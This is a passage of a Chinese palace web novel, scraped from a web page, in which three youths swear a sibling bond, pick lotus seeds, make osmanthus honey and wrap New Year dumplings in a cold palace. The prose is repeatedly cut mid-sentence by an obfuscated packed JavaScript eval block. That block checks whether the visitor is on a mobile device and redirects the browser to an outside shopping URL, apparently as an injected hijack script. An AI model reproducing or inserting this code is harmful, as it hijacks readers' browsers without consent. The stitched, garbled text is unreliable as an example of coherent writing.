他抬起头,再次看向燕沧溟。少女站在那里,身姿笔挺,眼神坦荡,像一棵能迎着风雨生长的白杨。 玉凌绝握起那冰凉沉重的短匕,看着这充满野性与力量的礼物,最后抬起头望向莫忘之。 莫忘之对他微微颔首,目光在两人之间流转,声音沉静如水:“在这宫墙之内,我们三人便是最亲的人。以后,要唤‘师姐’,要听师姐的话。这是规矩。” “规矩”二字,从他口中说出,带着一种超越宫规又不容撼动的力量。 玉凌绝怔住了。他看看莫忘之,又看看眼前这个笑得张扬,眼神却异常明亮的师姐。“最亲的人”?这个词对他而言太过陌生,也太过沉重。他习惯了被欺凌被遗忘,习惯了一个人在绝境中挣扎,何曾想过会有“亲人”,还是以这样一种强硬的方式被塞到生命里。 玉凌绝复又低下头,看着手中的匕首,良久,他用极轻极轻,几乎被风吹散的声音,含糊地吐出两个字: “……师姐。” 燕沧溟听着玉凌绝生涩地喊出‘师姐’,眼睛一亮,哈哈大笑起来,那点朱砂痣也在她粲然一笑中舒展开,宛如雪地上骤然绽放的红梅。她伸手用力揉了揉他的头发:“好!光叫师姐师弟的,总觉得少了点意思!”她目光炯炯,在两人脸上扫过,“咱们这师门,没师尊立规矩,没宗祠拜祖师,空口白牙的。” “师尊……还没找到。”莫忘之仰头望月,似乎是在回忆某位远在天边的故人。 玉凌绝抬起头,月光照进他黑沉的眸子里,映出圆月与不解。 燕沧溟已笑着折下三根粗细相仿的枯枝,手腕一翻,用短匕利落地削去旁逸的杂枝,将它们并排插在泥地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105158|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,如同三炷最简朴的香。“没有高堂祖师,咱们就拜这皇天厚土,拜这冷宫的月亮,拜咱们自己!” 莫忘之拂了拂衣袍下摆,竟直接席地而坐在那三柱香旁。他抬眼看向燕沧溟和玉凌绝,目光平静却带着一种不容置疑的庄重。 燕沧溟似乎预感到了什么,利落地收起短匕,学着他的样子盘膝坐下,腰背依旧挺得笔直。玉凌绝犹豫了一下,也慢慢挪过去,在莫忘之另一侧坐下,三人恰好成了一个不规则的三角形。 没有香烛,没有祭品,只有天际悬挂的明月和身后沉默的老槐树作见证。 莫忘之伸出手指,点在身前的泥地上。他的动作缓慢而清晰,并列勾勒出三个字—— 燕,忘,绝。 “天地太大,规矩太沉,师尊……也不知在何方。”莫忘之开口,“但我们三人,于此地相遇,是机缘,亦是命数。” 他目光转向燕沧溟:“师姐。” 又看向玉凌绝:“师弟。” 最后,他指尖轻轻敲了敲那三个字,仿佛敲定了某种契约:“此三字,便是凭证。无高香禀告天地,无血酒祭奠鬼神,只以此心为誓,以此名为契。” 他顿了顿,声音不高,却字字千斤,一字一句清晰地说道: “今日,燕沧溟,莫忘之,玉凌绝,于此结谊。非为君臣,非为主仆,只为师姐,师兄,师弟。福祸相依,生死不负,此心此诺,日月同昭。” 没有华丽的辞藻,没有激昂的誓言,只有这平淡如水的几句话,却比任何歃血为盟都来得沉重。 燕沧溟收敛了所有嬉笑之色,她看着地上那三个字,又看看莫忘之,再看向身旁那个瘦小却眼神执拗的师弟,胸口涌动着一股滚烫的热流。她伸出右手,掌心向下,悬在三个字的上方,声音斩钉截铁: “说得没错!福祸相依,生死不负!” 她的目光炯炯,如同边关最亮的星子。 两双眼睛都落在了玉凌绝身上。 玉凌绝低着头,看着泥地上那三个紧紧挨在一起的字,缓缓地,也伸出了自己瘦小又带着些许污垢的手,迟疑地覆在了燕沧溟的手背之上。他的手很小,几乎只能盖住师姐的半个手掌,但那动作里,却带着一种孤注一掷的交付。 然后,他抬起头,黑沉沉的眸子望向莫忘之,带着一种与他年龄不符的郑重,用力地点了点头。 莫忘之的唇角终于绽开一个清浅而真实的笑容。他伸出修长的手指,最后覆盖在玉凌绝的手背上。 三只手就这样层层叠叠,悬于象征他们三人的名字之上。一缕月光穿过枝桠,恰好为这简陋而神圣的仪式镀上了一层银白的轮廓。 没有叩首,没有盟书,只有风穿过宫闱的呜咽,见证着这无声的誓言。 5. 【伍】 夏末时节,天气还有些燥热。宫墙内的日子一如既往地沉闷,连蝉鸣都显得有气无力。 冷宫庭院内,玉凌绝正对着木桩练习燕沧溟新教的一套拳法,汗水浸湿了他额前的碎发。莫忘之坐在老树下的石凳上,手里拿着一卷书,目光却并未落在字上,而是若有所思地望着高墙外那片被切割成四方的天空。 忽然,墙头传来两长一短的,类似鸟啄木的轻响。 莫忘之合上了书卷,玉凌绝也停了动作,黑沉沉的眸子望向墙头,带着不易察觉的期待。 下一刻,燕沧溟的脑袋便从墙头探了出来,马尾利落,眼睛亮得惊人。她做了个“噤声”的手势,随即如同灵猫般翻身落下,轻盈无声。 “快!换衣服!”她落地便道,从随身带来的布包里掏出两套普通内侍的灰布衣衫,自己则利落地套上一件宫女的外衫,又将一方普通头巾包住过于显眼的发型。 莫忘之似乎早已习惯,从容起身,接过衣衫便去残破的殿柱后更换。玉凌绝略有迟疑,但在莫忘之平静的目光和燕沧溟催促的手势下,也默默接过衣服换上了。 “今天带你们出去玩!”燕沧溟压低声音,眉眼间是按捺不住的兴奋,“西苑靠宫墙的那片荷塘,荷花还没谢尽,而且今天那边人手少!” 西苑虽也属宫苑,但较之后宫核心区域管理松懈许多,更有大片园林水域,靠近外围宫墙。三人扮作普通宫人,低着头,由燕沧溟在前引路,专挑僻静小径行走。 在一众敷粉施朱又弱柳扶风的宫人中间,燕沧溟那蜜色肌肤和挺拔如松的站姿显得格格不入。她右耳那根小辫随着她不耐烦的点头动作晃动着,眉心的朱砂像一枚桀骜的印章,宣告着她不属于这片精致而腐朽的囚笼。 并且燕沧溟对宫中侍卫巡逻的间隙与各种不起眼的通道熟悉得令人咋舌,七拐八绕,竟真的避开了所有盘查,来到了西苑深处。越往里走,人迹越罕至。空气中弥漫着水汽与残荷特有的清苦香气,取代了宫廷里无处不在的檀香与脂粉味。 视线豁然开朗,一大片即将凋谢的荷塘呈现在眼前,虽然不复盛夏时的繁盛,但残荷枯叶别有一种寥落的诗境,更有不少莲蓬低垂。 确认四周无人,燕沧溟立刻恢复了本性,长舒一口气,伸了个懒腰:“可憋死我了!还是这儿自在!” 莫忘之也摘下了那顶略显滑稽的内侍帽,唇角带着轻松的笑意。他走到水边,看着水中自己的倒影和天光云影,眼神温和。 玉凌绝则有些怔忡。他从未以这样的“自由”身,站在如此开阔的宫苑之中。他深吸一口带着荷香的空气,感觉胸腔里那股常年郁结的沉闷,似乎都散开了些许。 “傻站着干嘛?”燕沧溟拍了他后背一下,力道不轻,“看那边!莲蓬!今天有口福了!”她嘴上这么说着,手早已利落地卷起裤脚,脱下鞋袜,露出充满力量的小腿便要下水。 莫忘之轻笑摇头,却也没阻止,只道:“师姐,小心水蛇。” “怕它不成?正好抓来加餐!”燕沧溟浑不在意,蹚入及膝深的水中,动作麻利地开始采摘那些饱满的莲蓬。 玉凌绝看着她在水中忙碌的身影,又看了看含笑立于岸边的莫忘之,一种陌生的名为“快乐”的情绪,如同细小的气泡悄悄从心底冒了出来。 “接着!”燕沧溟扔过来一个硕大的莲蓬。玉凌绝下意识接住,在岸边一块还算干净的石头上坐下,笨拙地剥开绿色的外壳,露出里面白嫩的莲子。他放入口中,清甜脆嫩,带着一点微苦的芯味,却是他从未尝过的鲜美。 莫忘之也剥了一颗,却没有自己吃,而是递到了玉凌绝嘴边:“尝尝这颗,应该更甜。” 玉凌绝愣了一下,看着那截修长的手指捏着的莲子,迟疑了一下,还是低头就着他的手,将莲子含入口中。指尖不经意擦过他的唇瓣,带来一阵微妙的战栗。莲子果然很甜,那丝微苦几乎尝不到了。 燕沧溟在塘里看得分明,嘿嘿一笑,又扔过来几个莲蓬:“你就惯着他吧!臭小子,自己动手,丰衣足食!” 莫忘之笑笑,没说什么,自己也剥了一颗慢慢吃着,阳光透过稀疏的柳枝洒下,在水面上跃动着碎金。 燕沧溟在塘里边采边哼起了不成调的边塞小曲,莫忘之则指着某处景致,低声对玉凌绝说两句相关的诗词典故,玉凌绝安静地听着,手里不停剥着莲蓬,将剥好的莲子悄悄分成一半一半,放在莫忘之身边的石头上和靠近燕沧溟的池塘边。 这一刻,没有阴谋算计,没有生死危机,没有冷宫的阴冷与欺凌。只有温暖的阳光,清甜的莲子,聒噪却让人安心的蝉鸣,以及身边这两个……让他感到前所未有安心的人。 后来,燕沧溟甚至不知从哪儿摸出一个小巧的鱼篓和自制的钓线,有模有样地钓起鱼来。莫忘之则不知何时折了几片宽大的荷叶,戴在了自己和玉凌绝的头上遮阳,惹得燕沧溟又是一阵毫不客气的嘲笑。 夕阳西下,将天边染成暖橙色时,三人才带着满身的荷香,一兜莲子和几条小得可怜的鱼(被燕沧溟嫌弃地放生了),沿着原路悄无声息地返回。 回到那处冷宫庭院,换上自己的衣服,仿佛刚才那半日的阳光只是一场幻梦。但在玉凌绝换下的那件灰布衣衫口袋里,还静静躺着几颗他偷偷留下的未剥的莲子。 斜阳透过破败的窗棂,在地上投下暖融融的光斑。空气里还残余着西苑带来的若有似无的水汽与清苦荷香,混着此处固有的尘土气息,竟奇异地和洽。 三人都有些懒洋洋的,靠在树下残破的石阶上,消化着满腹的清甜与难得的惬意。燕沧溟靠坐在树根上伸直了长腿,满足地喟叹一声,顺手捞过放在一旁的水囊,仰头灌了几口。 玉凌绝安静地坐在她身旁不远处,学着莫忘之的样子背脊挺直,只是眼神还带着些许未曾褪去属于半日偷闲的轻松。今日的奔波,阳光与从未有过的松弛,让他强撑多年的警惕之心也难免露出一丝缝隙。他几乎要在这暖意里睡去,顺手拨开额前那些总是碍事的,带着几缕暗青色的碎发。 燕沧溟放下水囊,目光恰好落在他手上,又掠过他被汗水微微濡湿更显凌乱的头发上。他湿漉漉的墨发更显凌乱,几缕黏在额角颈侧,衬得那张总带着阴郁的小脸,难得有了几分符合年龄的青涩。 燕沧溟眼睛一转,像是想起了什么有趣的事,猛地坐直身体。 “啧,头发乱得跟水草缠过的鸟窝似的,亏你受得了。”她忽然凑近了些,带着刚晒过太阳的热烘烘的气息。 玉凌绝身体几不可察地一僵,下意识就想往后缩,却被燕沧溟一把按住肩膀。 “别动。”她语气带着惯有的命令式,却并无恶意。她伸出带着薄茧的手指,不甚熟练地拢了拢他耳侧那些不服帖的发丝,嘴里嘀咕着,“你这头发颜色倒是特别,就是太碎,风一吹就乱。” 玉凌绝身体僵住,这才反应过来,“我自己……”他闷声想拒绝,这种亲密的触碰让他无所适从。 “你自己什么你自己,”燕沧溟打断他,手下动作不停,语气理所当然,“瞧你这笨手笨脚的样儿,会打理才怪。看我这儿——” 她说着,稍稍侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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玉凌绝下意识地伸手去摸。在左耳侧,那一小缕头发被编成了一条细细的略显粗糙的三股辫。辫子很小,有点毛糙,却异常牢固,混在其它依旧有些凌乱的暗青色发丝里并不显眼。它贴着他的皮肤,带着一种陌生的,被束缚却让人感到安心的触感。 “怎么样?”燕沧溟挑眉,那双亮得惊人的眼睛里带着点期待,又有点故作不在意的别扭,“以后这就是咱们的记号,我右边,你左边,走到哪儿都认得出是自己人!” 玉凌绝垂下手臂,手指蜷缩了一下,低低地“嗯”了一声,声音轻得几乎听不见。 燕沧溟心情大好,伸手揉了揉他本就有些蓬乱的头顶,把他另一边头发也揉得更乱,“哈哈,这下子以后就是亲姐弟了!”她的那只手并不纤柔,指节分明,带着习武之人特有的薄茧与力量。 玉凌绝被她揉得晃了晃,却没有像最初那样露出獠牙。他飞快地抬眼瞥了一下燕沧溟右耳边那根一模一样的小辫,又迅速低下头,指尖却依旧无意识地摩挲着那缕属于自己的,带着师姐手温的发辫。 他感觉那条小辫的存在感异常鲜明,仿佛不是编在发间,而是直接系在了他的心尖上,随着心跳微微牵动。 莫忘之这时才轻轻开口,声音带着慵懒的沙哑:“师姐这手艺,倒是与你的枪法一脉相承。” 燕沧溟白他一眼:“总比你整天顶着张冷脸强!” 玉凌绝没有参与他们的斗嘴。他只是默默地又摸了摸那条细小而坚韧的发辫,然后抬起头。那缕暗青色的小辫安静地垂在他左耳侧,与他黑中带青的眸子遥相呼应,仿佛一道小小的护身符,与那枚玉锁一同守护着他。 夕阳的余晖将三人的影子拉得老长。玉凌绝又忍不住回头看了一眼那棵老槐树,仿佛要将这个午后,那袋莲子的清甜,以及左耳边这缕突如其来的带着粗糙暖意的重量,一同刻进心底。 那根歪歪扭扭的小辫就那样留在了他的发间,也留在了这个漫长的夏日末尾。 6. 【陆】 中秋的月高悬于紫禁城上空,将清辉一视同仁地洒向朱甍碧瓦,也吝啬地漏进冷宫斑驳的墙角。宫宴的丝竹管弦隔着重重宫墙传来,模糊得如同另一个世界的呓语。 月光如水银泻地,将冷宫老槐树下那片空地照得清晰,也映亮了树下两个身影。 莫忘之随意坐在冰凉的泥地上,身侧放着那盏精致的琉璃宫灯,琉璃罩上淡雅的云鹤纹在暖黄光晕中若隐若现,勉强驱散了周身一小片黑暗与寒意。 地上摆着御膳房的食盒,里头的月饼他却一块未动,只单手支颐,另一只手无意识地拨弄着灯穗,目光落在身边那个孩子身上。 玉凌绝被他从鬼门关拉回来不过月余,虽一直照顾,但他依旧瘦得惊人,宽大的衣服空荡荡挂着,衬得那张毫无血色的小脸上,只剩下一双黑沉沉的眼睛。他紧攥一截枯枝,正低着头,一笔一划在泥地上划着字。动作僵硬,笔画歪斜,却带着近乎执拗的认真。 “哟,太子殿下逃席就为在这儿演什么兄弟情深?” 两人抬头,只见燕沧溟不知何时蹲在了老槐树的粗壮枝干上,手里拎着个小酒坛。她利落地跳下来,马尾高束,劲装勾勒出挺拔的身姿。 “原来躲在这儿教小孩子写字啊。”她扬了扬手中的酒葫芦,笑得爽朗,“教书先生要不要来一口?御酒,顺来的!” “久等侠女了。”莫忘之将灯挂在低垂的枝桠上,拍了拍身旁的位置。燕沧溟便豪爽地坐下,没有丝毫拘谨。 “来来来,过节了!别绷着张脸,好像谁欠你八百吊钱似的!”燕沧溟浑不在意地盘腿坐着,那根总是精神抖擞的高马尾在她脑后晃了晃,随手拿起莫忘之带来的精致点心塞进嘴里,右耳的小辫也随之轻颤。 莫忘之失笑,接过葫芦灌了一口,辛辣的液体滑入喉咙,驱散了些许秋夜的寒意。他看向安静坐在一旁的玉凌绝,将葫芦递过去:“尝尝?” 玉凌绝犹豫一瞬,接过后小心翼翼地抿了一口,瞬间被辣得蹙眉咳嗽起来,苍白的脸颊泛起一阵红晕。 燕沧溟看得哈哈大笑,抢回酒葫芦:“小兔崽子,不会喝就别糟蹋我的好东西!” 玉凌绝涨红了脸,赌气埋下头继续写完最后一道笔画,终于吁了口气。泥地上,是两个勉强能辨认出的字“凌绝”。字迹歪斜,却带着一股孤愤的戾气。 莫忘之探过头,仔细端详了片刻,露出清浅的笑意: “会当凌绝顶,一览众山小。野心也不小啊。” 玉凌绝终于抬起头,月光照见他半边脸庞,那尚存稚气的眉眼间却是一片沉寂。他直直地望向莫忘之,声音干涩: “不是的。” 他伸出枯枝,尖锐的那端狠狠点在“凌”字上,又划过“绝”字,几乎要将泥地戳穿。 “是凌虐的凌,绝境的绝。” 沉默在月光下蔓延,连风穿过松针的呜咽都清晰可闻。 燕沧溟的眉头蹙起,心中暗骂了一句那吃人不吐骨头的深宫。她看向莫忘之,只见他脸上那惯常的漫不经心的笑容僵住了一瞬。 一阵微风吹过,卷起几片残叶,落在“凌绝”二字旁边,更添几分萧索。 片刻后,莫忘之敛去了脸上最后一丝残余的笑意。他俯下身,指尖落在泥地上,就着玉凌绝写下的那两个字,认真缓慢地在上面勾勒着,写了一个笔画更为繁复的—— 忘。 宫灯暖光映照下,他侧脸线条柔和,右眼睑下那粒泪痣在光晕中若隐若现,为他平添了几分平日里没有的,近乎温柔的错觉。当最后一笔落下,那个崭新的“忘”字,已然将原本充满绝望意味的“凌绝”覆盖包裹,崭新的笔画与旧有的刻痕紧密交错,融为一体。 他抬起眼,迎上玉凌绝困惑而怔忡的目光,露出了一个与往常不太一样的,带着些许无奈又些许温柔的笑容。 “看,现在……” 他的指尖在三个纠缠的字符上轻轻一点。 “它是''忘记凌虐与绝境''的意思了。” 玉凌绝怔住了。他呆呆地看着地上那三个再也分不开的字,黑沉沉的眸子里流出茫然的无措。眼前这个人用最平静的言语,为他颠倒了整个名字的乾坤。他那只一直紧紧攥着枯枝的指节发白的手,也轻微地颤抖了一下,然后慢慢地松开了一些。 “哈哈!说得好!”燕沧溟打破了这过于沉重的氛围。她抽出随身的短匕,利落地在旁边空处,“唰唰”几下刻下一个笔锋刚劲而带着金石之气的—— 燕。 “别文绉绉的,燕子也能一览众山小!”她收刀入鞘,拍了拍手上的土,眉眼飞扬,“凌绝顶算什么?咱们燕子飞得比那山顶还高!看得比那更远!” “说得对,”莫忘之笑着,将手中那盏不算明亮却足够温暖的宫灯,默然放在了三个字的中央。 “凌绝顶太高,风寒刺骨。携手飞燕去,自在乘风。” 玉凌绝抬起头,看了看地上那三个风格迥异却紧紧挨着的字,又看了看身旁一个慵懒如云,一个炽烈如火的两人。那紧抿的唇角,终于艰难地又无比真实地向上牵起了一个微小的弧度。 莫忘之将酒坛再次递给他,这次,玉凌绝没有犹豫,伸手接过后学着他们的样子,仰头灌下一大口。辛辣感冲得他咳嗽起来,眼泪都咳了出来,但一股从未有过的暖意却从喉咙烧到了四肢百骸。 莫忘之看着他被辣出眼泪的样子,忍不住笑道:“慢点喝,这酒叫''忘忧'',不是''忘命''。” 燕沧溟揽过玉凌绝,看似用力,实则手臂在碰到玉凌绝瘦弱的肩膀时,力道不着痕迹地放轻了许多,接口道:“就是!以后跟着我们,保你''凌''云之上,''绝''处逢生!” 玉凌绝被她揽着,有些无措地踉跄了一下,却第一次没有下意识地挣脱或戒备。 “听着,小子!名字是自己挣出来的,不是被人叫出来的!以后天大的坎,咱们也能给它踏平了!走,师姐带你去御膳房。今天中秋,月饼甜得很,保证你吃了就把什么''凌''啊''绝''啊都忘到九霄云外去!”她说话时,那根高马尾随着她的话语节奏轻轻甩动,像一道雀跃的墨痕,右耳的小辫则灵巧地躲在后面,若隐若现。 听到燕沧溟这些话,他最后回头,看了一眼泥地上那三个相依相偎的字,又飞快地抬眼,看到莫忘之瞬间恢复了那副漫不经心的模样,拍了拍手上的尘土,笑道: “师姐,凭你那飞檐走壁的功夫,只去御膳房,不去做梁上君子实属是可惜了。” “少贫嘴!”燕沧溟白了不知道莫忘之第几眼。 在他们谈笑调侃之际,一股甜暖的香气穿透重重宫墙,竟比中秋的月饼滋味更缠绵地萦绕在冷宫周遭。那不是月饼的甜腻,而是一种桂花那清冽缠绵的香气,乘着渐凉的秋风,无孔不入地渗透宫墙,连冷宫的角落也无法幸免。 是御花园的桂花开得鼎盛了。 玉凌绝的目光不由得飘向香气的来处。莫忘之带来的点心匣子里,有一种淋着桂花蜜的酥饼,甜而不腻,唇齿留香,是他极少会明确表示喜欢的东西。 “阿绝的鼻子倒灵,馋桂花糕了?”燕沧溟已经不知从哪个角落掏出了一个空瘪的细棉布袋,眉眼间尽是“又要干坏事”的兴奋:“光闻味儿有什么意思?走,师姐带你去弄点真家伙!” 看到燕沧溟没开玩笑的样子,莫忘之终于收敛起笑容,语气带着些许不赞同:“……中秋御膳房往来人多眼杂,别动真格。” 燕沧溟不屑地撇撇嘴:“切,御膳房了不起啊?大不了咱们自己做!” “……御花园的桂树也都有专人看管。”莫忘之无奈摇头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他仰着头,呆呆地看着漫天花雨中低眉专注的侧影,看明月被花香浸染得异常柔和的轮廓,一时竟忘了周遭一切。 “快些!”燕沧溟从假山后探出头低唤,“巡夜卫队要经过这边了!” 莫忘之闻声便毫不迟疑,轻盈如羽地落地,衣袂拂过,只带起几缕甜香。他的发间肩头也难免沾染了些许金黄的花瓣,气质被这点点碎金点缀而柔化了几分。 他将那装满桂花的,鼓囊囊又香喷喷的布袋仔细系好,将一袋芬芳塞进玉凌绝怀里,那香气浓得几乎要有重量,沉甸甸撞了满怀。玉凌绝抱着那袋犹带枝头温度的桂花,只觉得像是抱住了一整个温暖而香甜的秋天。 回到冷宫老槐树下,燕沧溟顺来了小炭炉和陶罐,莫忘之就着那盏绘着云鹤的琉璃宫灯,将桂花细细拣选淘洗。玉凌绝安静坐在一旁,看暖黄光晕里低垂的睫毛染上蜜色,看晶莹的蜜糖在金桂间咕嘟咕嘟地冒泡,桂花与蜜糖交融,散发出愈发暖融幸福的香气。 莫忘之用木勺舀出小小一勺,递到一直眼巴巴望着的玉凌绝唇边。 “尝尝。” 玉凌绝下意识地张口含住。刹那间,鲜活的甜香在他口中弥漫开来,比中秋的月饼更醇厚,比那壶“忘忧”更暖人,一路滑入胃里,熨帖了四肢百骸。 他抬头,看着莫忘之沾染了蜜糖和些许炭灰却依旧平静专注的侧脸,又看看一旁咋咋呼呼试图帮忙却总被莫忘之无奈挡开的燕沧溟,只觉得胸口被什么东西填得满满的,又暖又涨。 后来很多个夜晚,他们都会取一小勺桂花蜜,冲成三杯甜茶。就着同一轮明月,在渐渐凛冽的秋风里,分享着这份偷来的甜蜜。 而那几个歪歪扭扭写在泥地上的字——忘,凌绝,燕——早已随着桂花的香气,深深烙进玉凌绝心里,再也不能分开。 7. 【柒】 桂花的甜香仿佛还在昨日,宫里的风却一日冷过一日,刮在脸上已带着凛冽的刀意。各宫开始悬挂彩绸,清扫檐尘,预备着年节。连冷宫那废弃的宫苑,似乎也被这日渐浓厚的年节气氛染上了点不易察觉又浮于表面的热闹。 除夕夜,大雪如期而至,鹅毛般的雪片纷纷扬扬,将琉璃瓦,朱红墙连同枯枝败草都覆上一层厚厚的洁白,暂时掩盖了这座皇城的腐朽与棱角。远处的宫殿传来隐隐的爆竹声与喧哗,更衬得此地死寂。比起中秋,今夜宫宴的喧嚣似乎更远,更繁华。 玉凌绝裹着莫忘之给他新添的厚棉袍,黑沉的眸子里映着天地间的苍茫。他坐在门槛上,看着漫天飞雪,依旧觉得指尖冰凉。 这是他记忆中第一个不必担心冻饿而死的冬天。但年节于他,从不是团聚和喜庆,只是又一个需要独自熬过,格外寒冷的夜晚。 忽然,院墙那头传来窸窣声响,不止一处。 先是燕沧溟如同往常一样,从老槐树光秃的枝桠间灵巧翻下,肩上落满了雪,手里却提着一个不小的包裹,还有一壶屠苏酒。 “别愣着!过来接一把,冻死了!”她呵着白气,嗓门依旧洪亮,瞬间打破了院落的沉寂。 几乎同时,那扇几乎从不开启通往外面甬道的破旧木门,竟被吱呀一声推开。 莫忘之披着一件狐裘,宫宴的礼服还未换下,透出几分不易察觉的疲惫。他手里也提着一个篮子,覆盖着青布,看不出里面是什么。 两人竟是前后脚到了。 燕沧溟看到莫忘之从正门进来,愣了一下,随即挑眉:“哟,太阳打西边出来了?太子殿下也学会走门了?” 莫忘之淡淡瞥她一眼,拂去肩头雪花:“师姐倒是会找时机。年节稽查,暗处的眼睛比平日多,谨慎些好。”他目光转向愣在门槛上的玉凌绝,声音缓和下来,“外面冷,进去。” 三人再次聚首在那间勉强能遮风挡雨的破败屋子里。燕沧溟带来一大堆零零碎碎的东西:几刀粗糙却厚实的红纸,几块形态不一的木炭,一小罐浆糊,以及剪刀和刻刀。最底下还藏着一些品相不算顶好却红得喜庆的福橘。 “来来来,别蔫着了!过年就得有过年的样子!”她将东西往那张破旧的木桌上一放,叉着腰,眉眼间是驱散阴霾的活力,“师姐教你们剪窗花,保证比尚功局那些娘娘腔剪的,翰林院那些老学究写的都有意思!” 莫忘之拿起一张红纸看了看,唇角微扬:“师姐这是要把冷宫装扮成锦绣堆么?” “那也比你整天对着本书好!”燕沧溟撇撇嘴,又兴致勃勃地拉过玉凌绝,“看好了,师姐先给你露一手!” 她拿起剪刀,手指翻飞,看似毫无章法,不多时,竟真的从红纸上抖落出几只歪歪扭扭却神气活现的小鱼和小燕子来。她得意地举到玉凌绝面前:“怎么样?” 玉凌绝看着那充满野趣的窗花,眼中流露出新奇的兴趣,默默点了点头。 莫忘之摇头失笑,却也没再多言,自顾自在桌旁坐下,铺开红纸,执起刻刀。他的手指修长有力,运刀如笔,不过片刻,一方繁复精美的“福”字剪纸便已初具雏形,线条流畅,寓意吉祥。 玉凌绝也默默拿起剪刀和红纸,学着他们的样子笨拙地剪着。他手指僵硬,剪出来的线条生涩,不是断了就是歪了,但他却十分专注,仿佛在完成一件重要的大事。 燕沧溟则一边嫌弃莫忘之刻的“太过老套”,一边又偷偷将他刻好的窗花仔细收好。她手脚麻利地将他们剪的窗花贴上冰冷的窗棂,那抹突兀的红色,瞬间给这死气沉沉的宫苑注入了一点鲜活的生命力,让这小小的院落竟也显得年味十足。 窗户上贴着歪扭却生动的窗花,炭盆烧得正旺,映得三人脸上都带了暖意。 “光有这些还不够,还得吃年夜饭!”燕沧溟取出用棉袄包得严严实实的食盒,“看看这是什么!” 是几盘还温热着的下酒菜,还有一条玉凌绝最爱吃的鱼。她得意地宣称这是她摸到尚膳监,趁着守岁的人换岗时换来的最好的一份。 “可惜没有饺子。”燕沧溟有些遗憾地咂咂嘴。“现在总该高抬贵手了吧,太子殿下,让我们看看你到底带了什么好年货?”她把年夜饭摆好后,对着莫忘之带来许久未动的篮子扬了扬下巴,玉凌绝也随之投来好奇的目光。 莫忘之没有多说什么,终于是掀开了他篮子上的青布。 里面并非什么珍馐美馔,而是一小袋面粉,几块肉馅,两三颗翠绿的青菜,甚至还有一小坛发酵好的面肥和几封红艳艳的炮仗。 “总是吃现成的,也无趣。”他语气寻常,仿佛在说一件再自然不过的事,“不若自己动手。” 玉凌绝愕然地看着那些食材,又看向莫忘之。太子殿下……要亲手包饺子? 燕沧溟也瞪大了眼睛:“你这是……你还会这个?别到时候煮成一锅面片汤!” 莫忘之也不理会她的调侃,只挽起袖子露出清瘦的手腕,便开始和面。 他的动作竟十分熟练,揉搓捏擀,一气呵成,擀出的饺子皮圆润均匀。玉凌绝和燕沧溟在旁边看着,一个满眼惊奇,一个啧啧称奇。 “还愣着做什么?”莫忘之抬眼看他们,“莫非等着我伺候你们?” 燕沧溟最先反应过来,哈哈一笑,也洗了手过来帮忙。她手脚麻利,却显然不善此道,包的饺子不是馅少瘪瘪,就是形状怪异。她又掏出几个铜钱,“待会儿包进去,看谁来年有好运!” 玉凌绝被燕沧溟强塞了一块面团在手里,但他一直怔怔地看着那堆东西,感到一阵怔忡。包饺子,这在他的记忆里从未有过。往的年节于他而言,不过是冷宫更深的死寂与窗外更盛的喧嚣对比,能有一碗不打折扣的冷饭已是恩赐,他从未想过自己也能参与其中。 片刻后,玉凌绝才开始学着莫忘之的样子笨拙地尝试。他指尖冰凉,第一个饺子几乎不成形,馅料放得用力过猛导致撑破了皮,沾了满手的面粉。 燕沧溟看得直乐,忍不住上手指导:“笨!这样,手指这样拢过来,对!用巧劲!” 莫忘之看了看手足无措的玉凌绝,又看了看兴致勃勃的燕沧溟,摇了摇头,唇角却弯了起来:“半斤八两。”话是这么说,他却将玉凌绝和燕沧溟包的那些奇形怪状的饺子小心地单独放在一边。“煮不破便好。” 他指尖沾了点水,细细地将那些破绽处捏合,修整,竟也让它们立住了。然后他握住了玉凌绝的手,带着他,一步步擀皮,放馅,捏合。 “此处需用力,方能贴合,煮时不破。”他的声音清浅平和,指尖的微凉透过皮肤传来,玉凌绝却觉得被他握住的手背烫得惊人。 屋外风雪呼啸,屋内炭盆噼啪。小小的屋子里弥漫着面粉的麦香,荠菜猪肉馅的鲜香,以及屠苏酒温煮后醇厚的香气。 窗外簌簌的落雪声,与屋内偶尔响起燕沧溟爽朗的笑声和莫忘之低低的指导声交织在一起。玉凌绝听着看着,手上渐渐熟练起来,包出的饺子虽不及莫忘之的精致,却也像模像样。 饺子下锅,在白浪中翻滚沉浮。煮熟捞起,盛在粗糙的陶碗里,热气腾腾。 “快!尝尝自己的手艺!”燕沧溟迫不及待地夹起一个,吹没气就塞进嘴里,烫得直抽气,却满足地眯起眼:“香!比尚膳监的还好吃!” 玉凌绝小心翼翼咬开一个,是寻常至极的荠菜猪肉馅,但他觉得那是他吃过最美味的东西。荠菜的清新混合着肉香瞬间充盈口腔,面皮柔软而有嚼劲。他慢慢咀嚼着,感受着那陌生的属于“家”和“团圆”的温暖滋味。暖意从胃里扩散开,连指尖都不再冰冷。 “呀!我吃到了!”燕沧溟忽然从嘴里吐出一枚铜钱,得意地晃着,“看来明年还是我运气最好!” 莫忘之笑着摇头,将自己碗中一枚藏着铜钱的饺子不动声色地拨到了玉凌绝碗中。 玉凌绝吃着吃着,牙齿轻微磕到了什么硬物。他愣住,吐出来,正是一枚磨得光滑的铜钱。他抬起头,正对上莫忘之含笑的目光。 “看来,你的运气也不差。”莫忘之轻声道。< 